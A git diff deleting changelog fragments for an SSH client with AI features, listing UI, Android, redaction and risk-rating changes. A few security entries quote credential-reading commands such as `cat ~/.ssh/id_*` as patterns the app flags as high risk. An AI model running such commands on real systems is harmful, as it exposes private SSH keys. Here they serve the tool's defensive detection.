a/changelog.d/issue-1428-settings-list-icons.md b/changelog.d/issue-1428-settings-list-icons.md deleted file mode 100644 index 1777a1091..000000000 --- a/changelog.d/issue-1428-settings-list-icons.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The narrow settings list shows fitting icons for "Sessions & Data" and "MCP Server" and separates rows with a thin rule. diff --git a/changelog.d/issue-1431-stalled-activity-rate.md b/changelog.d/issue-1431-stalled-activity-rate.md deleted file mode 100644 index 6934926d6..000000000 --- a/changelog.d/issue-1431-stalled-activity-rate.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A stalled transfer in the activity center no longer keeps showing its last speed and remaining time; they show again once progress resumes. diff --git a/changelog.d/issue-1435-ai-provider-grid-alignment.md b/changelog.d/issue-1435-ai-provider-grid-alignment.md deleted file mode 100644 index 78833717a..000000000 --- a/changelog.d/issue-1435-ai-provider-grid-alignment.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The AI Provider settings now line up the provider columns across rows and follow the design more closely (no outer card, caption label, descriptions below the switches, inline provider select). diff --git a/changelog.d/issue-1438-switch-forced-colors.md b/changelog.d/issue-1438-switch-forced-colors.md deleted file mode 100644 index a2924d672..000000000 --- a/changelog.d/issue-1438-switch-forced-colors.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The on/off switch in Settings stays readable in Windows high-contrast mode: both states, the disabled look and the focus ring are clearly distinguishable. diff --git a/changelog.d/issue-1450-record-public-api.md b/changelog.d/issue-1450-record-public-api.md deleted file mode 100644 index a7ccf612f..000000000 --- a/changelog.d/issue-1450-record-public-api.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Extensions can now list recorded sessions and their entries across servers, with filters and paging, through the public frontend API. diff --git a/changelog.d/issue-1460-import-count-skipped.md b/changelog.d/issue-1460-import-count-skipped.md deleted file mode 100644 index d04bc243a..000000000 --- a/changelog.d/issue-1460-import-count-skipped.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The ssh_config import button now counts only the servers that will actually be created, not conflicting entries that will be skipped. diff --git a/changelog.d/issue-1471-settings-active-index-accent.md b/changelog.d/issue-1471-settings-active-index-accent.md deleted file mode 100644 index 00bff6258..000000000 --- a/changelog.d/issue-1471-settings-active-index-accent.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- In Settings, the number of the selected category in the list is now shown in the accent colour. diff --git a/changelog.d/issue-1474-stall-timer.md b/changelog.d/issue-1474-stall-timer.md deleted file mode 100644 index 3ca20c216..000000000 --- a/changelog.d/issue-1474-stall-timer.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- In the activity center, a stalled transfer reliably stops showing its speed and remaining time, even if the system clock steps back. diff --git a/changelog.d/issue-1500-resume-missing-chat.md b/changelog.d/issue-1500-resume-missing-chat.md deleted file mode 100644 index e6304190a..000000000 --- a/changelog.d/issue-1500-resume-missing-chat.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Resuming a saved chat that no longer exists now shows a clear message, and Retry connects normally instead of failing again. diff --git a/changelog.d/issue-1505-activity-observer-hook.md b/changelog.d/issue-1505-activity-observer-hook.md deleted file mode 100644 index a8731c151..000000000 --- a/changelog.d/issue-1505-activity-observer-hook.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Editions can now register observers that are told about command suggestions, decisions and executions of a session, receiving redacted text only; the Community edition registers none. diff --git a/changelog.d/issue-1506-no-activity-record.md b/changelog.d/issue-1506-no-activity-record.md deleted file mode 100644 index f1385ff63..000000000 --- a/changelog.d/issue-1506-no-activity-record.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Smart SSH no longer keeps its own record of session activity on disk; an existing, never-shown record is removed on update. Chats and notes are unchanged. diff --git a/changelog.d/issue-1507-activity-connection-events.md b/changelog.d/issue-1507-activity-connection-events.md deleted file mode 100644 index 7d026de8a..000000000 --- a/changelog.d/issue-1507-activity-connection-events.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Activity observers now also learn about connects, disconnects, reconnects and failed connects, about terminal-only sessions, when the first chat message starts a chat, how active the user was (once a minute at most, without any content) and failed file writes. diff --git a/changelog.d/issue-1526-red-risk-switch-focus.md b/changelog.d/issue-1526-red-risk-switch-focus.md deleted file mode 100644 index becf2e867..000000000 --- a/changelog.d/issue-1526-red-risk-switch-focus.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The "Always confirm on red risk" switch keeps keyboard focus while its setting is saved, and switches back if saving fails. diff --git a/changelog.d/issue-1532-session-ended-at-exit.md b/changelog.d/issue-1532-session-ended-at-exit.md deleted file mode 100644 index cfa01705e..000000000 --- a/changelog.d/issue-1532-session-ended-at-exit.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Editions that observe session activity are now told that open sessions ended when the app quits, and events still queued are delivered first. diff --git a/changelog.d/issue-1536-second-opinion-revert.md b/changelog.d/issue-1536-second-opinion-revert.md deleted file mode 100644 index ab302dd51..000000000 --- a/changelog.d/issue-1536-second-opinion-revert.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A failed save of the AI second-opinion settings now shows the previous switch and provider again, with the error. diff --git a/changelog.d/issue-1539-exit-event-order.md b/changelog.d/issue-1539-exit-event-order.md deleted file mode 100644 index c0988439b..000000000 --- a/changelog.d/issue-1539-exit-event-order.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Activity observers now see a consistent event stream at app exit: no event after a session ended, and queued events are delivered even if a session is slow to stop. diff --git a/changelog.d/issue-1541-redaction-flag-consistent.md b/changelog.d/issue-1541-redaction-flag-consistent.md deleted file mode 100644 index 6aeb585e4..000000000 --- a/changelog.d/issue-1541-redaction-flag-consistent.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The "redaction incomplete" marker on activity events no longer reads "complete" after overlapping secret reloads for the same server. diff --git a/changelog.d/issue-1543-reconnect-redaction-flag.md b/changelog.d/issue-1543-reconnect-redaction-flag.md deleted file mode 100644 index 830f2181b..000000000 --- a/changelog.d/issue-1543-reconnect-redaction-flag.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- After a reconnect, the "Redaction incomplete" marker no longer disappears when a secrets rebuild runs at the same time. diff --git a/changelog.d/issue-1550-bounded-file-preview.md b/changelog.d/issue-1550-bounded-file-preview.md deleted file mode 100644 index 20767e353..000000000 --- a/changelog.d/issue-1550-bounded-file-preview.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- The diff preview of a proposed file write no longer reads a huge or endless target file into memory, and a denied write reads nothing at all. diff --git a/changelog.d/issue-1551-renamed-ssh-key-risk.md b/changelog.d/issue-1551-renamed-ssh-key-risk.md deleted file mode 100644 index 648864ae3..000000000 --- a/changelog.d/issue-1551-renamed-ssh-key-risk.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- Reading a renamed private SSH key file such as `backup_id_rsa` is now rated as high data risk, like `id_rsa`. diff --git a/changelog.d/issue-1554-delete-activity-record-scope.md b/changelog.d/issue-1554-delete-activity-record-scope.md deleted file mode 100644 index 581043739..000000000 --- a/changelog.d/issue-1554-delete-activity-record-scope.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- **(Pro)** Delete the activity record of a single session, a server or a group from the history, with confirmation. diff --git a/changelog.d/issue-1559-write-preview-large-file-note.md b/changelog.d/issue-1559-write-preview-large-file-note.md deleted file mode 100644 index c6cfac348..000000000 --- a/changelog.d/issue-1559-write-preview-large-file-note.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- When the AI proposes to overwrite a file larger than 1 MiB, the confirmation card now says the file is too large for a text comparison instead of calling it a binary file. diff --git a/changelog.d/issue-1561-mcp-commands-not-user-activity.md b/changelog.d/issue-1561-mcp-commands-not-user-activity.md deleted file mode 100644 index dd9a3d19f..000000000 --- a/changelog.d/issue-1561-mcp-commands-not-user-activity.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Commands started by an MCP client no longer count as your own activity in the activity record. diff --git a/changelog.d/issue-1564-glob-reads-of-renamed-keys.md b/changelog.d/issue-1564-glob-reads-of-renamed-keys.md deleted file mode 100644 index 92d5743f0..000000000 --- a/changelog.d/issue-1564-glob-reads-of-renamed-keys.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- Reading an SSH private key through a wildcard (`cat ~/.ssh/id_*`, `cat ~/.ssh/backup_id_*`) is now rated red data risk. Public keys and `known_hosts` are not affected. diff --git a/changelog.d/issue-1568-connection-payload-reexports.md b/changelog.d/issue-1568-connection-payload-reexports.md deleted file mode 100644 index ce3f42591..000000000 --- a/changelog.d/issue-1568-connection-payload-reexports.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Extensions can now match on the connection details (disconnect reason, failed step) of activity events. diff --git a/changelog.d/issue-1583-gpl-3-0-license.md b/changelog.d/issue-1583-gpl-3-0-license.md deleted file mode 100644 index 321ae0700..000000000 --- a/changelog.d/issue-1583-gpl-3-0-license.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Smart SSH is now licensed under GPL-3.0-only; versions up to 0.7.0 remain Apache-2.0. diff --git a/changelog.d/issue-1593-glob-key-read-redirect.md b/changelog.d/issue-1593-glob-key-read-redirect.md deleted file mode 100644 index bad02ec05..000000000 --- a/changelog.d/issue-1593-glob-key-read-redirect.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- Reading renamed private SSH keys with a wildcard is now rated red data risk even when a redirect is glued to the pattern or the command sits in backticks. diff --git a/changelog.d/issue-1605-redact-secrets-in-coloured-output.md b/changelog.d/issue-1605-redact-secrets-in-coloured-output.md deleted file mode 100644 index 4de627deb..000000000 --- a/changelog.d/issue-1605-redact-secrets-in-coloured-output.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- Secrets in command output that contains terminal colour or cursor codes (for example `grep --color=always`) are now masked before the text reaches the AI, the chat or logs. The codes are removed from that text. diff --git a/changelog.d/issue-1607-open-locally-dotfiles.md b/changelog.d/issue-1607-open-locally-dotfiles.md deleted file mode 100644 index f7caec336..000000000 --- a/changelog.d/issue-1607-open-locally-dotfiles.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- "Open locally" now works for remote files whose name starts with a dot, such as `.env.local`, on macOS and Linux. diff --git a/changelog.d/issue-1615-onnx-runtime-notices.md b/changelog.d/issue-1615-onnx-runtime-notices.md deleted file mode 100644 index 8bdf91372..000000000 --- a/changelog.d/issue-1615-onnx-runtime-notices.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The third-party licenses list now includes ONNX Runtime and the libraries bundled in it. diff --git a/changelog.d/issue-564-disconnect-note-sealing.md b/changelog.d/issue-564-disconnect-note-sealing.md deleted file mode 100644 index 0c0e4e064..000000000 --- a/changelog.d/issue-564-disconnect-note-sealing.md +++ /dev/null @@ -1,3 +0,0 @@ -### Security -- The note-update suggestion made on disconnect now follows the same redaction and - attachment-sealing checks as chat messages. diff --git a/changelog.d/issue-579-narrow-burger-menu.md b/changelog.d/issue-579-narrow-burger-menu.md deleted file mode 100644 index 28ba4bdba..000000000 --- a/changelog.d/issue-579-narrow-burger-menu.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- In a narrow window (under 640 px) the title bar shows a menu button with the current title. The menu holds Overview, Connect, Manage, Rules, Settings and the open sessions. diff --git a/changelog.d/issue-580-narrow-session-tabs.md b/changelog.d/issue-580-narrow-session-tabs.md deleted file mode 100644 index 9de3fbd59..000000000 --- a/changelog.d/issue-580-narrow-session-tabs.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- In narrow windows a connected session shows AI, Terminal and Files as tabs, one pane at a time. -- Fixed the session's side panel being wider than the window in small windows. diff --git a/changelog.d/issue-581-narrow-dialogs.md b/changelog.d/issue-581-narrow-dialogs.md deleted file mode 100644 index 0422c9ca3..000000000 --- a/changelog.d/issue-581-narrow-dialogs.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- On narrow windows, dialogs, the host key prompt and the start-up screens fill the window, with title and buttons always visible. diff --git a/changelog.d/issue-582-narrow-connect-area.md b/changelog.d/issue-582-narrow-connect-area.md deleted file mode 100644 index 531089a97..000000000 --- a/changelog.d/issue-582-narrow-connect-area.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- In a narrow window the server list, chat session picker and connecting tab use the full width, and servers and folders can be moved with a "Move to…" button (#582). diff --git a/changelog.d/issue-583-narrow-chat-panel.md b/changelog.d/issue-583-narrow-chat-panel.md deleted file mode 100644 index 5a11b740a..000000000 --- a/changelog.d/issue-583-narrow-chat-panel.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed - -- The chat fits narrow windows: full-width messages, a compact composer with extra actions behind a "+" menu, and a full-width rule panel for "Accept + Rule". diff --git a/changelog.d/issue-584-narrow-file-browser.md b/changelog.d/issue-584-narrow-file-browser.md deleted file mode 100644 index 9514045c5..000000000 --- a/changelog.d/issue-584-narrow-file-browser.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- The file browser fits narrow windows: two-line rows, a ⋯ button on every row, - and the toolbar actions in a menu. Menus open as a sheet at the bottom. diff --git a/changelog.d/issue-585-narrow-manage-area.md b/changelog.d/issue-585-narrow-manage-area.md deleted file mode 100644 index 77ae4cc92..000000000 --- a/changelog.d/issue-585-narrow-manage-area.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- On narrow windows (under 640 px) Manage shows the list full-screen; opening a server or group shows its form with a Back button, and rows have a "Move to…" button (#585). diff --git a/changelog.d/issue-586-narrow-settings-rules.md b/changelog.d/issue-586-narrow-settings-rules.md deleted file mode 100644 index 826e9ad0c..000000000 --- a/changelog.d/issue-586-narrow-settings-rules.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- In narrow windows, Settings opens full-screen with a section list and a Back - button, and filter rules are shown as cards that fit the width. diff --git a/changelog.d/issue-602-provider-name-from-model.md b/changelog.d/issue-602-provider-name-from-model.md deleted file mode 100644 index db2b2ce5c..000000000 --- a/changelog.d/issue-602-provider-name-from-model.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- When adding an AI provider, the name field is filled with the chosen model - until you type a name yourself. diff --git a/changelog.d/issue-603-add-provider-dialog.md b/changelog.d/issue-603-add-provider-dialog.md deleted file mode 100644 index f9afe6753..000000000 --- a/changelog.d/issue-603-add-provider-dialog.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- Adding an AI provider now opens a dialog from an "Add Provider" button - instead of showing the form on the settings page. diff --git a/changelog.d/issue-606-server-form-tabs.md b/changelog.d/issue-606-server-form-tabs.md deleted file mode 100644 index e515d3028..000000000 --- a/changelog.d/issue-606-server-form-tabs.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- The server settings in Manage are now split into General, Connection, Security - and Notes tabs. All fields and actions work as before. diff --git a/changelog.d/issue-617-openai-real-usage.md b/changelog.d/issue-617-openai-real-usage.md deleted file mode 100644 index d5b612cd4..000000000 --- a/changelog.d/issue-617-openai-real-usage.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- Chat compaction and the context-size indicator now use the real prompt size - for OpenAI-compatible providers that report token usage. diff --git a/changelog.d/issue-622-file-transfers-progress-cancel.md b/changelog.d/issue-622-file-transfers-progress-cancel.md deleted file mode 100644 index c8a95b8b0..000000000 --- a/changelog.d/issue-622-file-transfers-progress-cancel.md +++ /dev/null @@ -1,5 +0,0 @@ -### Added -- File browser uploads and downloads now show progress and have a cancel button per transfer; large files no longer load into memory. - -### Changed -- Ending elevated rights while elevated transfers, deletes or permission changes are still running now asks first and stops them if you confirm. diff --git a/changelog.d/issue-623-transfer-speed-eta.md b/changelog.d/issue-623-transfer-speed-eta.md deleted file mode 100644 index 7bf3f7c23..000000000 --- a/changelog.d/issue-623-transfer-speed-eta.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- The file browser shows speed and remaining time for running uploads and downloads, - and for the whole folder when transferring folders. diff --git a/changelog.d/issue-624-recursive-chmod-keeps-folders-enterable.md b/changelog.d/issue-624-recursive-chmod-keeps-folders-enterable.md deleted file mode 100644 index c8788d677..000000000 --- a/changelog.d/issue-624-recursive-chmod-keeps-folders-enterable.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- Applying permissions recursively no longer locks you out of folders or copies setuid/setgid/sticky bits onto files; the dialog shows the resulting folder and file permissions. -- A folder that cannot be opened because it lacks the execute bit now says so instead of looking empty. diff --git a/changelog.d/issue-625-file-browser-overwrite-rename.md b/changelog.d/issue-625-file-browser-overwrite-rename.md deleted file mode 100644 index 9394f9861..000000000 --- a/changelog.d/issue-625-file-browser-overwrite-rename.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- Confirming "Overwrite" when renaming or moving a file onto an existing file now - works instead of failing. A folder as target is reported and never replaced. diff --git a/changelog.d/issue-626-copy-content-macos.md b/changelog.d/issue-626-copy-content-macos.md deleted file mode 100644 index 4bd22c9f2..000000000 --- a/changelog.d/issue-626-copy-content-macos.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- "Copy file content" in the file browser now reliably puts the text into the - clipboard on macOS instead of failing with a permission error. diff --git a/changelog.d/issue-627-menus-inside-window.md b/changelog.d/issue-627-menus-inside-window.md deleted file mode 100644 index 6c8337791..000000000 --- a/changelog.d/issue-627-menus-inside-window.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- Context menus, dropdowns and popups now always stay fully inside the window, - opening upward or to the left near the bottom and right edges. diff --git a/changelog.d/issue-628-note-suggestion-close.md b/changelog.d/issue-628-note-suggestion-close.md deleted file mode 100644 index c11ab438f..000000000 --- a/changelog.d/issue-628-note-suggestion-close.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- The note suggestion card can always be closed, and after its one-hour - confirmation window it shows "Expired — not applied" instead of buttons that no longer work. diff --git a/changelog.d/issue-629-no-webview-context-menu.md b/changelog.d/issue-629-no-webview-context-menu.md deleted file mode 100644 index 3927b63c3..000000000 --- a/changelog.d/issue-629-no-webview-context-menu.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Right-clicking no longer shows the browser-style menu with "Reload" in the release app. The file browser's empty-space menu now offers "Refresh". diff --git a/changelog.d/issue-630-tab-close-hover.md b/changelog.d/issue-630-tab-close-hover.md deleted file mode 100644 index bb1d24216..000000000 --- a/changelog.d/issue-630-tab-close-hover.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The close ✕ on session tabs now shows a clear frame on hover and keyboard focus. diff --git a/changelog.d/issue-631-ai-usage-limit-error.md b/changelog.d/issue-631-ai-usage-limit-error.md deleted file mode 100644 index 4faf280e4..000000000 --- a/changelog.d/issue-631-ai-usage-limit-error.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- When an AI provider rejects requests because a usage or spending limit was reached, the chat now says so, including the date access returns if the provider names one. diff --git a/changelog.d/issue-632-optional-password.md b/changelog.d/issue-632-optional-password.md deleted file mode 100644 index f673b6e50..000000000 --- a/changelog.d/issue-632-optional-password.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- The password is now optional: servers that allow login without a password - can be saved with an empty field. The app tries "none", then an empty password. diff --git a/changelog.d/issue-633-test-connection-dialog.md b/changelog.d/issue-633-test-connection-dialog.md deleted file mode 100644 index df5f50cf4..000000000 --- a/changelog.d/issue-633-test-connection-dialog.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- "Test connection" in the server form now shows the connection steps live in a - dialog and can be cancelled. diff --git a/changelog.d/issue-634-connection-steps.md b/changelog.d/issue-634-connection-steps.md deleted file mode 100644 index 751a5c4e0..000000000 --- a/changelog.d/issue-634-connection-steps.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- Connection details no longer show a DNS lookup for IP addresses, label a - TCP timeout as such, and show failed steps with a readable reason. diff --git a/changelog.d/issue-636-ssh-config-import-tags-selected.md b/changelog.d/issue-636-ssh-config-import-tags-selected.md deleted file mode 100644 index 36d3074df..000000000 --- a/changelog.d/issue-636-ssh-config-import-tags-selected.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- In the ssh_config import preview, keywords that match an existing Allow rule now start selected like all others; the matching rule is still shown. diff --git a/changelog.d/issue-647-model-refusal-message.md b/changelog.d/issue-647-model-refusal-message.md deleted file mode 100644 index 026f05c33..000000000 --- a/changelog.d/issue-647-model-refusal-message.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- When the AI model declines a request, the chat now says so instead of showing the "empty response" hint or nothing at all. diff --git a/changelog.d/issue-648-new-chat-context-usage.md b/changelog.d/issue-648-new-chat-context-usage.md deleted file mode 100644 index 09c97af25..000000000 --- a/changelog.d/issue-648-new-chat-context-usage.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The context usage indicator now resets to 0 when you start a new chat instead of keeping the previous chat's value. diff --git a/changelog.d/issue-649-voice-no-markers.md b/changelog.d/issue-649-voice-no-markers.md deleted file mode 100644 index ebeb4bbb4..000000000 --- a/changelog.d/issue-649-voice-no-markers.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Voice input no longer inserts recognizer markers such as "[BLANK_AUDIO]" or "(music)" into the message while you pause. diff --git a/changelog.d/issue-650-file-header-opaque.md b/changelog.d/issue-650-file-header-opaque.md deleted file mode 100644 index ea85b6f4b..000000000 --- a/changelog.d/issue-650-file-header-opaque.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- The file list header now stays fully opaque while scrolling, so no row text - shows above or through it. diff --git a/changelog.d/issue-651-file-row-highlight.md b/changelog.d/issue-651-file-row-highlight.md deleted file mode 100644 index 9df45e667..000000000 --- a/changelog.d/issue-651-file-row-highlight.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- In the file browser, the row whose menu is open stays highlighted, and hovering a row - is easier to see, with its file name underlined. diff --git a/changelog.d/issue-652-file-browser-sort.md b/changelog.d/issue-652-file-browser-sort.md deleted file mode 100644 index 456ea566a..000000000 --- a/changelog.d/issue-652-file-browser-sort.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Click a column header in the file browser to sort by that column; click again to reverse. Folders stay on top and the choice is remembered. diff --git a/changelog.d/issue-653-file-owner-column.md b/changelog.d/issue-653-file-owner-column.md deleted file mode 100644 index d9ec80bcb..000000000 --- a/changelog.d/issue-653-file-owner-column.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- The file list has an Owner column (`user:group`, numeric ids when names are unknown). - Right-click the header to show or hide any column except Name. diff --git a/changelog.d/issue-654-change-owner.md b/changelog.d/issue-654-change-owner.md deleted file mode 100644 index ba98e62d4..000000000 --- a/changelog.d/issue-654-change-owner.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- File browser: "Change owner…" in the context menu changes user and group of a file or folder, optionally for all contents, also with elevated rights. diff --git a/changelog.d/issue-655-edit-flow-errors.md b/changelog.d/issue-655-edit-flow-errors.md deleted file mode 100644 index 862c07a00..000000000 --- a/changelog.d/issue-655-edit-flow-errors.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- When uploading a locally edited file fails, the error now appears once, in the edit bar, instead of also as a toast and a transfer row. -- The "no diff" hint now says why a remote file could not be compared: too large, binary, or no read permission. diff --git a/changelog.d/issue-656-edit-upload-as-current-user.md b/changelog.d/issue-656-edit-upload-as-current-user.md deleted file mode 100644 index c63e38cb7..000000000 --- a/changelog.d/issue-656-edit-upload-as-current-user.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed - -- Editing a file locally after the elevated mode changed user no longer ends in a dead end: the edit bar explains the change and offers "Upload as ". diff --git a/changelog.d/issue-657-new-session.md b/changelog.d/issue-657-new-session.md deleted file mode 100644 index b725edc0d..000000000 --- a/changelog.d/issue-657-new-session.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- "New session" in the right-click menu of a server or its tab opens an - additional session to the same server. Tabs of one server are numbered. diff --git a/changelog.d/issue-658-recursive-delete-chmod-progress.md b/changelog.d/issue-658-recursive-delete-chmod-progress.md deleted file mode 100644 index f7981446b..000000000 --- a/changelog.d/issue-658-recursive-delete-chmod-progress.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Deleting a folder or changing permissions recursively in the file browser now shows "x of y entries" with a progress bar and a cancel button. diff --git a/changelog.d/issue-666-encrypted-backup-ui.md b/changelog.d/issue-666-encrypted-backup-ui.md deleted file mode 100644 index fb239c5c8..000000000 --- a/changelog.d/issue-666-encrypted-backup-ui.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- Settings → "Data and backup": export all your data to one encrypted file and - restore it again, with a one-time recovery code or a passphrase. diff --git a/changelog.d/issue-667-import-key-file.md b/changelog.d/issue-667-import-key-file.md deleted file mode 100644 index 83d59fc59..000000000 --- a/changelog.d/issue-667-import-key-file.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- Saving a server with key-file login now asks whether to import the key into Smart SSH (it then travels with backups) or keep using the file path. -- A key file missing on this device is shown as "Key file not found on this device" in the server list and form, and connecting fails with that message. diff --git a/changelog.d/issue-671-copy-marker.md b/changelog.d/issue-671-copy-marker.md deleted file mode 100644 index 266a6514c..000000000 --- a/changelog.d/issue-671-copy-marker.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Servers and groups that a backup import moved into "Previous data" now show a "Copy" badge; "Keep as regular entry" in their context menu removes it. diff --git a/changelog.d/issue-675-android-base.md b/changelog.d/issue-675-android-base.md deleted file mode 100644 index 707b0bfd7..000000000 --- a/changelog.d/issue-675-android-base.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Technical groundwork for an Android app: desktop-only features (local shell, folder upload, file clipboard, window frame) are switched off there. diff --git a/changelog.d/issue-676-android-keystore.md b/changelog.d/issue-676-android-keystore.md deleted file mode 100644 index d34f48e14..000000000 --- a/changelog.d/issue-676-android-keystore.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- On Android the database key is now kept in the Android Keystore, so the app opens without a password after a restart. If the Keystore cannot be used, the app offers a master password instead. diff --git a/changelog.d/issue-677-android-background-sessions.md b/changelog.d/issue-677-android-background-sessions.md deleted file mode 100644 index 4b902abc9..000000000 --- a/changelog.d/issue-677-android-background-sessions.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Android: open SSH sessions keep running when you switch to another app or turn the screen off, with a notification showing the session count and a "Disconnect all" action. diff --git a/changelog.d/issue-678-android-terminal-key-row.md b/changelog.d/issue-678-android-terminal-key-row.md deleted file mode 100644 index bfcbda4fd..000000000 --- a/changelog.d/issue-678-android-terminal-key-row.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- On touch devices the terminal shows an extra key row (Esc, Ctrl, Alt, Tab, arrows and common symbols) and resizes when the on-screen keyboard opens. diff --git a/changelog.d/issue-679-android-file-picking.md b/changelog.d/issue-679-android-file-picking.md deleted file mode 100644 index f85b47643..000000000 --- a/changelog.d/issue-679-android-file-picking.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Android: files can be uploaded, downloaded, edited and imported (keys, SSH config) through the system file picker, and exports use its save dialog. diff --git a/changelog.d/issue-680-android-voice-input.md b/changelog.d/issue-680-android-voice-input.md deleted file mode 100644 index 9ab6758ed..000000000 --- a/changelog.d/issue-680-android-voice-input.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Voice input on Android: record with the microphone button, transcribed locally on the device; the microphone permission is requested on first use. diff --git a/changelog.d/issue-690-edit-ai-provider.md b/changelog.d/issue-690-edit-ai-provider.md deleted file mode 100644 index cae7c1544..000000000 --- a/changelog.d/issue-690-edit-ai-provider.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- Saved AI providers can now be edited (name, model, base URL, key, headers) - and their credentials tested, without deleting and re-adding them. diff --git a/changelog.d/issue-691-risk-badge-tooltip.md b/changelog.d/issue-691-risk-badge-tooltip.md deleted file mode 100644 index d2d620921..000000000 --- a/changelog.d/issue-691-risk-badge-tooltip.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Risk badges with an explanation now show an "ⓘ" marker; the explanation appears on hover and keyboard focus and is read by screen readers. diff --git a/changelog.d/issue-692-connect-from-server-settings.md b/changelog.d/issue-692-connect-from-server-settings.md deleted file mode 100644 index 88c88c466..000000000 --- a/changelog.d/issue-692-connect-from-server-settings.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- A saved server's settings now have a "Connect" button next to Save; it is disabled until your changes are saved. diff --git a/changelog.d/issue-693-injection-check-status.md b/changelog.d/issue-693-injection-check-status.md deleted file mode 100644 index cb38054b4..000000000 --- a/changelog.d/issue-693-injection-check-status.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- With the injected-instructions check on, a spinner now shows under the checked output while it runs, and a warning with the checking AI's reason stays there if it suspects an attempt. The confirmation names the same reason. diff --git a/changelog.d/issue-695-filter-rule-dialog.md b/changelog.d/issue-695-filter-rule-dialog.md deleted file mode 100644 index 0d8c2d8fd..000000000 --- a/changelog.d/issue-695-filter-rule-dialog.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- Adding or editing a filter rule now opens the form in a dialog, so it is - always visible, even with a long rule list. diff --git a/changelog.d/issue-696-auto-run-rule-line.md b/changelog.d/issue-696-auto-run-rule-line.md deleted file mode 100644 index b7c70020f..000000000 --- a/changelog.d/issue-696-auto-run-rule-line.md +++ /dev/null @@ -1,3 +0,0 @@ -### Added -- A command that ran automatically now shows which allow rule let it run, with a - link that opens the rule in the filter rules. diff --git a/changelog.d/issue-747-sort-propagation.md b/changelog.d/issue-747-sort-propagation.md deleted file mode 100644 index e52c79a28..000000000 --- a/changelog.d/issue-747-sort-propagation.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Changing the file browser sort order in one panel now updates all other open file browser panels immediately. diff --git 